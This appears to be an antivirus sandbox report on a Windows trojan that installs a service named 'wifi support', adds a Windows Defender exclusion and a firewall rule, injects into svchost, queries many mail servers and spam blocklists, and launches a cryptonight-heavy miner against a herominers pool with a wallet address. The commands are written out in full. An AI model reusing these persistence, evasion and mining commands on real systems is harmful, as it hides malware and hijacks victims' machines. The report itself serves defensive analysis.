Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\pegxhugg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\pegxhugg] 'ImagePath' = '%WINDIR%\SysWOW64\pegxhugg\wytzsfp.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\pegxhugg] 'ImagePath' = '%WINDIR%\SysWOW64\pegxhugg\wytzsfp.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\pegxhugg' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\wytzsfp.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\wytzsfp.exe to %WINDIR%\syswow64\pegxhugg\wytzsfp.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK vi###tron.ca
- DNS ASK ac####ic.oup.com
- DNS ASK ms#.#inet.net
- DNS ASK bo##on.net
- DNS ASK mx.#p.pl
- DNS ASK wp.pl
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms##.hinet.net
- DNS ASK ya###.com.ar
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya###.com.br
- DNS ASK fu#####ter2.fullnet.net
- DNS ASK ta###ina.net
- DNS ASK se#####3.firstfind.nl
- DNS ASK va##a.nl
- DNS ASK gw####.fortimail.com
- DNS ASK eb###.com.au
- DNS ASK ya##o.de
- DNS ASK mx#.###.#ailpod7-cph3.one.com
- DNS ASK ul###nsson.se
- DNS ASK ma##.###conhills.vic.edu.au
- DNS ASK be#####ills.vic.edu.au
- DNS ASK mx#######.mail.am0.yahoodns.net
- DNS ASK ro##rs.com
- DNS ASK mx.##deotron.ca
- DNS ASK 43######1.pamx1.hotmail.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK us##ink.com
- DNS ASK vn##.ibm.com
- DNS ASK ti##ali.it
- DNS ASK mx.##ra.co.nz
- DNS ASK xt##.co.nz
- DNS ASK fl####centre.com.au
- DNS ASK si########.secureintellicentre.net.au
- DNS ASK pm#.gov.au
- DNS ASK mx#.#harter.net
- DNS ASK ch##ter.net
- DNS ASK mx###02.web.de
- DNS ASK we#.de
- DNS ASK cl######.us.messagelabs.com
- DNS ASK al##ata.net
- DNS ASK us###ous.net
- DNS ASK ku#####.saveinternet.net
- DNS ASK em##c.net
- DNS ASK sm##.##cureserver.net
- DNS ASK ki#####solutions.net
- DNS ASK we#####.woodinternet.net
- DNS ASK 0n##ne.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK we##v.net
- DNS ASK 14#######0.pamx1.hotmail.com
- DNS ASK pl##a.com
- DNS ASK AM###.ceryxefw.com
- DNS ASK pr####2.beld.net
- DNS ASK pi##net.net
- DNS ASK be##.net
- DNS ASK mx.##lito.it
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK us##c.org
- DNS ASK ALT2.ASPMX.L.GOOGLE.COM
- DNS ASK un##ib.it
- DNS ASK sm##.##scmail.wisc.edu
- DNS ASK wi##.edu
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti###linet.it
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK mx#.###l.yahoo.co.jp
- DNS ASK ya##o.co.jp
- DNS ASK hk.####n.herominers.com
- DNS ASK mx#.###439-97.iphmx.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK em###eramica.it
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK mx##.#xt.att.net
- DNS ASK tx#.att.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx###.arnet.com.ar
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ar###.com.ar
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK po##to.it
- DNS ASK pe###iauto.it
- DNS ASK li##ro.it
- DNS ASK ap#t.it
- DNS ASK sm####n.virgilio.it
- DNS ASK vi##ilio.it
- DNS ASK si####omm.com.br
- DNS ASK wo####rths.com.au
- DNS ASK google.com
- DNS ASK br####oodpress.com
- DNS ASK aspmx.l.google.com
- DNS ASK be#####hamherald.com
- DNS ASK mx.##enet.gr
- DNS ASK ot##et.gr
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK mx.##dctnet.es
- DNS ASK ct##tal.es
- DNS ASK sm####n.orange.fr
- DNS ASK wa##doo.fr
- DNS ASK sf##es.it
- DNS ASK au##an.it
- DNS ASK re###.sella.it
- DNS ASK se##a.it
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.es
- DNS ASK mx##.#nicredit.eu
- DNS ASK un###edit.it
- DNS ASK re###.#sprambiente.it
- DNS ASK sm####n.libero.it
- DNS ASK wc##.org
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\pegxhugg\wytzsfp.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\pegxhugg\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\pegxhugg\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create pegxhugg binPath= "%WINDIR%\SysWOW64\pegxhugg\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description pegxhugg "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start pegxhugg' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\pegxhugg\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\pegxhugg\
- '%WINDIR%\syswow64\sc.exe' create pegxhugg binPath= "%WINDIR%\SysWOW64\pegxhugg\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description pegxhugg "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start pegxhugg
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k
